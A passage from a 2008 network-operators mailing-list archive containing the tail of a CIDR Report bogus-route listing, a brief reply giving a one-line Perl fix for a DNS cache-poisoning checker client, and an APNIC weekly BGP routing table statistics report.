79 375 82.6% MPX-AS Microplex PTY LTD AS4134 824 451 373 45.3% CHINANET-BACKBONE No.31,Jin-rong Street Total 36267 11272 24995 68.9% Top 30 total Possible Bogus Routes 24.38.0.0/17 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.48.0.0/13 AS19548 ADELPHIA-AS2 - Road Runner HoldCo LLC 24.48.244.0/23 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.51.159.0/24 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.54.23.0/24 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.54.224.0/19 AS20001 ROADRUNNER-WEST - Road Runner HoldCo LLC 24.75.160.0/19 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.75.192.0/18 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 24.142.40.0/21 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.142.160.0/19 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.0.0/17 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 24.246.128.0/18 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 62.61.220.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 63.140.213.0/24 AS22555 UTC - Universal Talkware Corporation 63.141.42.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 63.143.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 63.143.115.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 63.143.251.0/24 AS22555 UTC - Universal Talkware Corporation 63.248.0.0/16 AS3356 LEVEL3 Level 3 Communications 64.7.112.0/21 AS6453 GLOBEINTERNET TATA Communications 64.7.120.0/21 AS6453 GLOBEINTERNET TATA Communications 64.50.128.0/18 AS4565 MEGAPATH2-US - MegaPath Networks Inc. 64.64.159.0/24 AS32004 BIG-ASN - Business Information Group, Inc. 64.144.0.0/15 AS4565 MEGAPATH2-US - MegaPath Networks Inc. 64.188.0.0/16 AS3356 LEVEL3 Level 3 Communications 65.36.8.0/24 AS5696 65.36.9.0/24 AS5696 65.36.33.0/24 AS5696 65.36.52.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 66.11.32.0/20 AS6261 VISINET - Visionary Systems, Inc. 66.11.40.0/21 AS6261 VISINET - Visionary Systems, Inc. 66.54.91.0/24 AS30506 BLACKSUN-1 - Blacksun Technologies LLC 66.55.160.0/19 AS29994 66.64.96.0/20 AS3790 RADIGRAFICA COSTARRICENSE 66.180.239.0/24 AS35888 VIGNETTE - VIGNETTE CORPORATION 66.199.32.0/20 AS10397 WISP-AS - Wispnet, LLC 66.206.32.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.33.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.34.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.35.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.40.0/22 AS174 COGENT Cogent/PSI 66.206.44.0/23 AS174 COGENT Cogent/PSI 66.206.47.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 66.207.32.0/20 AS23011 66.219.192.0/18 AS5048 FIBER - FIBERNET Corp. 67.20.0.0/14 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 68.64.0.0/13 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 68.168.0.0/14 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 68.232.0.0/14 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 69.71.192.0/20 AS13818 PHX-INTL-TELEPORT - Phoenix International Teleport 69.80.0.0/17 AS3043 AMPHIB-AS - Amphibian Media Corporation 69.164.0.0/17 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 69.165.102.0/24 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 70.34.0.0/16 AS7843 ADELPHIA-AS - Road Runner HoldCo LLC 74.217.144.0/20 AS10912 INTERNAP-BLK - Internap Network Services Corporation 80.88.0.0/21 AS33774 DJAWEB 80.88.8.0/22 AS33774 DJAWEB 80.88.10.0/24 AS33774 DJAWEB 80.88.11.0/24 AS33774 DJAWEB 80.88.12.0/24 AS33779 wataniya-telecom-as 87.76.0.0/16 AS3301 TELIANET-SWEDEN TeliaNet Sweden 87.254.160.0/19 AS16265 LEASEWEB LEASEWEB AS 91.204.220.0/22 AS43126 TRIANGELDATA Triangeldata Autonomous Network 94.73.128.0/18 AS34619 CIZGI Cizgi Telekomunikasyon Autonomous System 95.192.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 95.255.248.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 137.0.0.0/13 AS721 DISA-ASNBLK - DoD Network Information Center 151.135.0.0/16 AS4768 CLIX-NZ TelstraClear Ltd 159.3.211.0/24 AS2687 ASATTCA AT&T Global Network Services - AP 163.142.0.0/16 AS2500 WIDE-BB WIDE Project 166.63.0.0/16 AS33775 NITEL-AS 172.7.0.0/24 AS28175 172.10.1.0/30 AS18305 POSNET POSDATA Co.,Ltd 188.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 188.0.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 188.0.0.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 192.9.200.0/24 AS3602 AS3602-RTI - Rogers Telecom Inc. 192.30.93.0/24 AS17757 HPAUS-AP HP Australia 192.30.94.0/24 AS17757 HPAUS-AP HP Australia 192.40.105.0/24 AS12582 TSF-DATANET-NGD-AS TSF MPLS VPN Services 192.64.85.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.107.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.108.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.177.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.96.36.0/24 AS5713 SAIX-NET 192.96.37.0/24 AS10474 NETACTIVE 192.96.135.0/24 AS2018 TENET-1 192.96.136.0/23 AS2018 TENET-1 192.96.141.0/24 AS5713 SAIX-NET 192.96.143.0/24 AS2018 TENET-1 192.96.145.0/24 AS2018 TENET-1 192.96.177.0/24 AS6083 POSIX-AFRICA 192.101.45.0/24 AS2905 TICSA-ASN 192.101.46.0/24 AS6503 Avantel, S.A. 192.101.47.0/24 AS6503 Avantel, S.A. 192.101.64.0/21 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.67.0/24 AS21775 192.101.70.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.72.0/24 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.73.0/24 AS4765 WORLDNET-AS World Net & Services Co., Ltd. 192.101.74.0/24 AS1239 SPRINTLINK - Sprint 192.122.212.0/24 AS209 ASN-QWEST - Qwest 192.124.252.0/22 AS680 DFN-IP service G-WiN 192.131.233.0/24 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 192.133.6.0/24 AS10282 EQUANT-CEEUR EQUANT AS for Central and Eastern Europe region 192.153.144.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 192.154.32.0/19 AS81 NCREN - MCNC 192.188.208.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 193.200.114.0/23 AS31530 SERVERCREW-AS Servercrew LTD Autonomes System 194.31.227.0/24 AS21461 TRANSFAIRNET Transfair-net GmbH Krefeld 194.246.72.0/23 AS8893 ARTFILES-AS Artfiles New Media GmbH 196.6.108.0/24 AS5713 SAIX-NET 196.10.119.0/24 AS2018 TENET-1 196.10.122.0/23 AS2018 TENET-1 196.10.251.0/24 AS2018 TENET-1 196.10.252.0/23 AS2018 TENET-1 196.10.254.0/24 AS2018 TENET-1 196.13.101.0/24 AS2018 TENET-1 196.13.102.0/23 AS2018 TENET-1 196.13.104.0/24 AS2018 TENET-1 196.13.121.0/24 AS2018 TENET-1 196.13.125.0/24 AS2018 TENET-1 196.13.126.0/24 AS2018 TENET-1 196.13.169.0/24 AS2018 TENET-1 196.13.174.0/23 AS2018 TENET-1 196.13.176.0/21 AS2018 TENET-1 196.13.192.0/22 AS2018 TENET-1 196.13.196.0/24 AS2018 TENET-1 196.201.98.0/24 AS29571 CITelecom-AS 196.216.132.0/24 AS9207 TAIDE-KE-NAIROBI Taide - Kenya POP 196.216.134.0/24 AS9207 TAIDE-KE-NAIROBI Taide - Kenya POP 198.23.26.0/24 AS4390 BELLATLANTIC-COM - Bell Atlantic, Inc. 198.54.82.0/24 AS2018 TENET-1 198.54.92.0/24 AS2018 TENET-1 198.54.222.0/24 AS2018 TENET-1 198.97.72.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.80.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.96.0/19 AS721 DISA-ASNBLK - DoD Network Information Center 198.97.240.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 198.144.96.0/20 AS12185 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.168.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 198.169.0.0/16 AS803 SASKTEL - Saskatchewan Telecommunications 198.180.198.0/24 AS23715 SEOUL-INTGW-GXS-AP Global Exchange Services 199.9.128.0/17 AS668 ASN-ASNET-NET-AS - Defense Research and Engineering Network 199.10.0.0/16 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.0.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.128.0/18 AS721 DISA-ASNBLK - DoD Network Information Center 199.114.130.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.131.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.132.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.134.0/24 AS3541 ITSDN-U4 - DoD Network Information Center 199.114.136.0/24 AS27044 DDN-ASNBLK1 - DoD Network Information Center 199.114.138.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DoD Network Information Center 199.114.142.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.144.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.148.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.150.0/24 AS6045 DDN-ASNBLK - DoD Network Information Center 199.114.152.0/24 AS27033 DDN-ASNBLK1 - DoD Network Information Center 199.114.153.0/24 AS27034 DDN-ASNBLK1 - DoD Network Information Center 199.114.154.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.114.156.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.114.160.0/24 AS1733 CENTAF-SWA - AF DDN PMO 199.121.0.0/16 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.0.0/18 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.16.0/20 AS721 DISA-ASNBLK - DoD Network Information Center 199.123.80.0/21 AS721 DISA-ASNBLK - DoD Network Information Center 199.189.32.0/19 AS7332 IQUEST-AS - IQuest Internet 199.202.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.246.116.0/24 AS813 UUNET-CANADA - MCI Communications Services, Inc. d/b/a Verizon Business 202.58.113.0/24 AS19161 INNOCOM-TELECOM - INNOCOM TELECOM 202.73.144.0/20 AS4788 TMNET-AS-AP TM Net, Internet Service Provider 202.80.192.0/20 AS2706 HKSUPER-HK-AP Pacific Internet (Hong Kong) Limited 202.86.252.0/22 AS4748 RESOLINK-AS-AP Resources Link Network Limited 202.86.252.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.90.33.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.40.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.41.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.42.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.43.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.90.44.0/24 AS9830 SWIFTONLINE-AS-AP SWIFT ONLINE BORDER AS 202.94.1.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.94.70.0/24 AS9837 POWERTEL-AP Powertel Ltd 202.124.195.0/24 AS17557 PKTELECOM-AS-AP Pakistan Telecom 202.124.207.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 202.136.254.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.136.255.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.164.100.0/24 AS18101 RIL-IDC Reliance Infocom Ltd Internet Data Centre, 202.176.228.0/24 AS17988 SINOSAT-AS-AP SINOSAT (HONG KONG) LIMITED 202.176.232.0/24 AS17988 SINOSAT-AS-AP SINOSAT (HONG KONG) LIMITED 202.181.32.0/24 AS4645 ASN-HKNET-AP HKNet Co. Ltd 203.12.45.0/24 AS4854 NETSPACE-AS-AP Netspace Online Systems 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.89.139.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 203.111.192.0/20 AS7473 SINGTEL-AS-AP Singapore Telecom 203.112.97.0/24 AS9942 COMINDICO-AP SOUL Converged Communications Australia 203.112.111.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.113.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.114.0/24 AS4802 ASN-IINET iiNet Limited 203.112.116.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.117.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.118.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.119.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.120.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.121.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.127.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.128.128.0/19 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 203.128.128.0/24 AS23849 CNNIC-NET263-AP Beijing Capital-online science development Co.,Ltd. 203.152.136.0/23 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.152.138.0/23 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.152.142.0/24 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.152.143.0/24 AS23649 NEWSKIES-AS-AP New Skies Satellites, Hong Kong Teleport 203.160.110.0/23 AS7643 VNN-AS-AP Vietnam Posts and Telecommunications (VNPT) 204.9.216.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.9.217.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.9.218.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.13.140.0/22 AS7270 NET2PHONE - Net2Phone Corp. 204.16.120.0/23 AS12077 204.16.122.0/23 AS12077 204.19.14.0/23 AS577 BACOM - Bell Canada 204.48.58.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.48.60.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.154.125.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.126.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 204.154.127.0/24 AS3952 TELLABS-ASN - TELLABS Operations, Inc. 205.150.0.0/15 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 206.162.224.0/19 AS23464 ILCSNET - Interlink Computer Services 206.180.240.0/20 AS12083 KNOLOGY-NET - Knology Holdings 206.220.240.0/24 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.240.64/26 AS22335 MREN - Metropolitan Research and Education Network 206.220.240.128/25 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.240.160/30 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.240.220/32 AS10764 STARTAP - National Center for Supercomputing Applications 206.220.241.0/24 AS10764 STARTAP - National Center for Supercomputing Applications 207.98.192.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 207.98.209.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 207.98.223.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 207.191.128.0/19 AS10887 BPSI-AS - BPSI Internet Services 207.204.168.0/24 AS15150 BELLTECH-AS - BELLWETHER TECHNOLOGY CORPORATION 207.204.222.0/24 AS22773 CCINET-2 - Cox Communications Inc. 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc. 208.38.192.0/18 AS3043 AMPHIB-AS - Amphibian Media Corporation 208.38.192.0/21 AS14237 BEAMSPEED1 - Beamspeed 208.38.202.0/24 AS14237 BEAMSPEED1 - Beamspeed 208.38.203.0/24 AS14237 BEAMSPEED1 - Beamspeed 208.38.204.0/22 AS14237 BEAMSPEED1 - Beamspeed 209.54.93.0/24 AS22773 CCINET-2 - Cox Communications Inc. 209.54.111.0/24 AS22773 CCINET-2 - Cox Communications Inc. 209.54.123.0/24 AS6062 NETPLEX - NETPLEX 209.54.240.0/21 AS10887 BPSI-AS - BPSI Internet Services 209.105.224.0/19 AS20074 209.140.90.0/24 AS14461 NTSL - NET SOLUTIONS 209.140.224.0/21 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.234.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.235.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.236.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.237.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.238.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.140.239.0/24 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.141.16.0/21 AS10573 WEBNEXUS - WebNexus Communications Inc. 209.141.48.0/22 AS14461 NTSL - NET SOLUTIONS 209.145.192.0/18 AS3043 AMPHIB-AS - Amphibian Media Corporation 209.145.204.0/22 AS14237 BEAMSPEED1 - Beamspeed 210.5.128.0/20 AS4837 CHINA169-BACKBONE CNCGROUP China169 Backbone 216.37.114.0/23 AS3549 GBLX Global Crossing Ltd. 216.37.120.0/23 AS13377 216.59.0.0/17 AS3356 LEVEL3 Level 3 Communications 216.99.16.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.99.20.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.162.96.0/19 AS7393 CYBERCON - CYBERCON, INC. 216.172.198.0/24 AS22773 CCINET-2 - Cox Communications Inc. 216.172.199.0/24 AS22773 CCINET-2 - Cox Communications Inc. 216.176.16.0/22 AS7132 SBIS-AS - AT&T Internet Services 216.176.22.0/24 AS20299 Newcom Limited 216.210.86.0/24 AS577 BACOM - Bell Canada 216.240.240.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.241.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.242.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.251.207.0/24 AS1239 SPRINTLINK - Sprint 217.78.71.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.72.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.73.0/24 AS12491 IPPLANET-AS IPPlanet Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From ml at t-b-o-h.net Fri Jul 11 09:58:01 2008 From: ml at t-b-o-h.net (Tuc at T-B-O-H.NET) Date: Fri, 11 Jul 2008 10:58:01 -0400 (EDT) Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <20080709055427.GA10676@entropia.netisland.net> Message-ID: <200807111458.m6BEw12l010015@himinbjorg.tucs-beachin-obx-house.com> > Reading through the JavaScript that drives , > it appears to be pretty easy to write a non-AJAX client to query Dan's > service. I threw one together in perl, named "noclicky", that allows you > to use Dan's service against any nameserver specified on the command line. > You can download a copy from . > It looks like Dan changed what it returns, and noclicky 1.00 gets confused. You can fix this, atleast until MCT comes out with a new version, by putting : my $date = shift @data; before the line : print "Requests seen for $domain:\n"; Tuc/TBOH From cscora at apnic.net Fri Jul 11 13:07:42 2008 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 12 Jul 2008 04:07:42 +1000 (EST) Subject: Weekly Routing Table Report Message-ID: <200807111807.m6BI7gAK025256@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 12 Jul, 2008 Report Website: http://thyme.apnic.net Detailed Analysis: http://thyme.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 262262 Prefixes after maximum aggregation: 128798 Deaggregation factor: 2.04 Unique aggregates announced to Internet: 128001 Total ASes present in the Internet Routing Table: 28650 Prefixes per ASN: 9.15 Origin-only ASes present in the Internet Routing Table: 24985 Origin ASes announcing only one prefix: 12092 Transit ASes present in the Internet Routing Table: 3665 Transit-only ASes present in the Internet Routing Table: 78 Average AS path length visible in the Internet Routing Table: 3.6 Max AS path length visible: 18 Max AS path prepend of ASN ( 3816) 15 Prefixes from unregistered ASNs in the Routing Table: 603 Unregistered ASNs in the Routing Table: 217 Number of 32-bit ASNs allocated by the RIRs: 48 Prefixes from 32-bit ASNs in the Routing Table: 8 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 781 Number of addresses announced to Internet: 1856079840 Equivalent to 110 /8s, 161 /16s and 135 /24s Percentage of available address space announced: 50.1 Percentage of allocated address space announced: 60.8 Percentage of available address space allocated: 82.3 Percentage of address space in use by end-sites: 72.7 Total number of prefixes smaller than registry allocations: 127883 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 60114 Total APNIC prefixes after maximum aggregation: 22448 APNIC Deaggregation factor: 2.68 Prefixes being announced from the APNIC address blocks: 57088 Unique aggregates announced from the APNIC address blocks: 25456 APNIC Region origin ASes present in the Internet Routing Table: 3301 APNIC Prefixes per ASN: 17.29 APNIC Region origin ASes announcing only one prefix: 879 APNIC Region transit ASes present in the Internet Routing Table: 520 Average APNIC Region AS path length visible: 3.5 Max APNIC Region AS path length visible: 15 Number of APNIC addresses announced to Internet: 365086240 Equivalent to 21 /8s, 194 /16s and 198 /24s Percentage of available APNIC address space announced: 77.7 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079 APNIC Address Blocks 58/8, 59/8, 60/8, 61/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 120397 Total ARIN prefixes after maximum aggregation: 65051 ARIN Deaggregation factor: 1.85 Prefixes being announced from the ARIN address blocks: 90092 Unique aggregates announced from the ARIN address blocks: 34869 ARIN Region origin ASes present in the Internet Routing Table: 12272 ARIN Prefixes per ASN: 7.34 ARIN Region origin ASes announcing only one prefix: 4750 ARIN Region transit ASes present in the Internet Routing Table: 1146 Average ARIN Region AS path length visible: 3.3 Max ARIN Region AS path length visible: 15 Number of ARIN addresses announced to Internet: 351882784 Equivalent to 20 /8s, 249 /16s and 78 /24s Percentage of available ARIN address space announced: 72.3 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 ARIN Address Blocks 24/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 173/8, 174/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 56428 Total RIPE prefixes after maximum aggregation: 34361 RIPE Deaggregation factor: 1.64 Prefixes being announced from the RIPE address blocks: 51609 Unique aggregates announced from the RIPE address blocks: 34670 RIPE Region origin ASes present in the Internet Routing Table: 11584 RIPE Prefixes per ASN: 4.46 RIPE Region origin ASes announcing only one prefix: 6079 RIPE Region transit ASes present in the Internet Routing Table: 1742 Average RIPE Region AS path length visible: 4.0 Max RIPE Region AS path length visible: 18 Number of RIPE addresses announced to Internet: 365628544 Equivalent to 21 /8s, 203 /16s and 12 /24s Percentage of available RIPE address space announced: 83.8 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-48127 RIPE Address Blocks 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 20695 Total LACNIC prefixes after maximum aggregation: 5260 LACNIC Deaggregation factor: 3.93 Prefixes being announced from the LACNIC address blocks: 18843 Unique aggregates announced from the LACNIC address blocks: 10697 LACNIC Region origin ASes present in the Internet Routing Table: 963 LACNIC Prefixes per ASN: 19.57 LACNIC Region origin ASes announcing only one prefix: 311 LACNIC Region transit ASes present in the Internet Routing Table: 160 Average LACNIC Region AS path length visible: 4.1 Max LACNIC Region AS path length visible: 17 Number of LACNIC addresses announced to Internet: 53584640 Equivalent to 3 /8s, 49 /16s and 163 /24s Percentage of available LACNIC address space announced: 53.2 LACNIC AS Blocks 26592-26623, 27648-28671, plus ERX transfers LACNIC Address Blocks 186/8, 187/8, 189/8, 190/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 4028 Total AfriNIC prefixes after maximum aggregation: 1186 AfriNIC Deaggregation factor: 3.40 Prefixes being announced from the AfriNIC address blocks: 4333 Unique aggregates announced from the AfriNIC address blocks: 1861 AfriNIC Region origin ASes present in the Internet Routing Table: 239 AfriNIC Prefixes per ASN: 18.13 AfriNIC Region origin ASes announcing only one prefix: 73 AfriNIC Region transit ASes present in the Internet Routing Table: 45 Average AfriNIC Region AS path length visible: 3.9 Max AfriNIC Region AS path length visible: 15 Number of AfriNIC addresses announced to Internet: 12243712 Equivalent to 0 /8s, 186 /16s and 211 /24s Percentage of available AfriNIC address space announced: 36.5 AfriNIC AS Blocks 36864-37887 & ERX transfers AfriNIC Address Blocks 41/8, 196/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4755 1673 342 175 Videsh Sanchar Nigam Ltd. Aut 17488 1208 83 93 Hathway IP Over Cable Interne 9583 1152 86 477 Sify Limited 9498 1080 550 63 BHARTI BT INTERNET LTD. 4766 851 6390 347 Korea Telecom (KIX) 23577 831 35 704 Korea Telecom (ATM-MPLS) 4134 823 13523 332 CHINANET-BACKBONE 4780 704 351 63 Digital United Inc. 18101 692 167 33 Reliance Infocom Ltd Internet 9829 599 450 12 BSNL National Internet Backbo Complete listing at http://thyme.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 209 3008 3874 625 Qwest 6389 2664 3260 195 bellsouth.net, inc. 2386 1485 663 877 AT&T Data Communications Serv 4323 1475 1045 377 Time Warner Telecom 7018 1399 5823 981 AT&T WorldNet Services 6298 1303 185 753 Cox Communicatons 11492 1221 148 31 Cable One 1785 1084 510 104 AppliedTheory Corporation 18566 1045 296 10 Covad Communications 20115 1043 1059 557 Charter Communications Complete listing at http://thyme.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 3292 414 1792 372 TDC Tele Danmark 8452 348 188 11 TEDATA 3301 333 1460 304 TeliaNet Sweden 3320 322 7047 270 Deutsche Telekom AG 8866 313 77 21 Bulgarian Telecommunication C 5462 296 666 27 Telewest Broadband 8551 287 269 38 Bezeq International 3215 286 2758 90 France Telecom Transpac 680 274 2047 264 DFN-IP service G-WiN 6746 269 